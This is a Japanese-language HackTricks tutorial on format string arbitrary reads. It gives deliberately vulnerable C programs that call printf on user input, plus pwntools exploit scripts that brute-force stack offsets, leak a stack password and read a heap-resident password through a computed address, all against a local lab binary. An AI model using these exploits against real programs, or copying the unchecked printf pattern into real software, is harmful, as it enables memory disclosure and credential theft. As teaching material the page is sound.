Format Strings - Arbitrary Read Example

HackTricksのサポート

バイナリの読み取り開始

コード

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

コンパイル方法:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

攻撃

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • オフセットは11です。いくつかのAを設定し、ループでブルートフォースを行い、オフセット0から50まで見つけた結果、オフセット11で5つの余分な文字(この場合はパイプ|)を使用して、完全なアドレスを制御できることがわかりました。

  • 私は**%11$p**を使用し、アドレスがすべて0x4141414141414141であることを確認しました。

  • フォーマット文字列ペイロードはアドレスの前に配置されています。なぜなら、printfはヌルバイトで読み取りを停止するため、アドレスを送信してからフォーマット文字列を送信すると、printfはフォーマット文字列に到達することはなく、ヌルバイトが先に見つかるからです。

  • 選択したアドレスは0x00400000です。これはバイナリの開始地点であるためです(PIEなし)

パスワードを読む

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

コンパイル方法:

clang -o fs-read fs-read.c -Wno-format-security

スタックから読み取る

stack_password はローカル変数なので、スタックに保存されます。そのため、単に printf を悪用してスタックの内容を表示すれば十分です。これは、スタックからパスワードを漏洩させるために最初の100個の位置をBFするエクスプロイトです。

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

画像では、スタックから10番目の位置にあるパスワードを漏洩させることができることがわかります。

データの読み取り

同じエクスプロイトを実行するが、%sの代わりに%pを使用すると、スタックからヒープアドレスを漏洩させることができ、%25$pでスタックからヒープアドレスを漏洩させることができます。さらに、漏洩したアドレス(0xaaaab7030894)をそのプロセス内のメモリ内のパスワードの位置と比較することで、アドレスの差を取得できます。

これで、スタック内の1つのアドレスを制御して、2番目のフォーマット文字列の脆弱性からアクセスする方法を見つける時が来ました。

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

そして、使用されたパッシングでtry 14でアドレスを制御できることがわかります。

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()
HackTricksのサポート

Last updated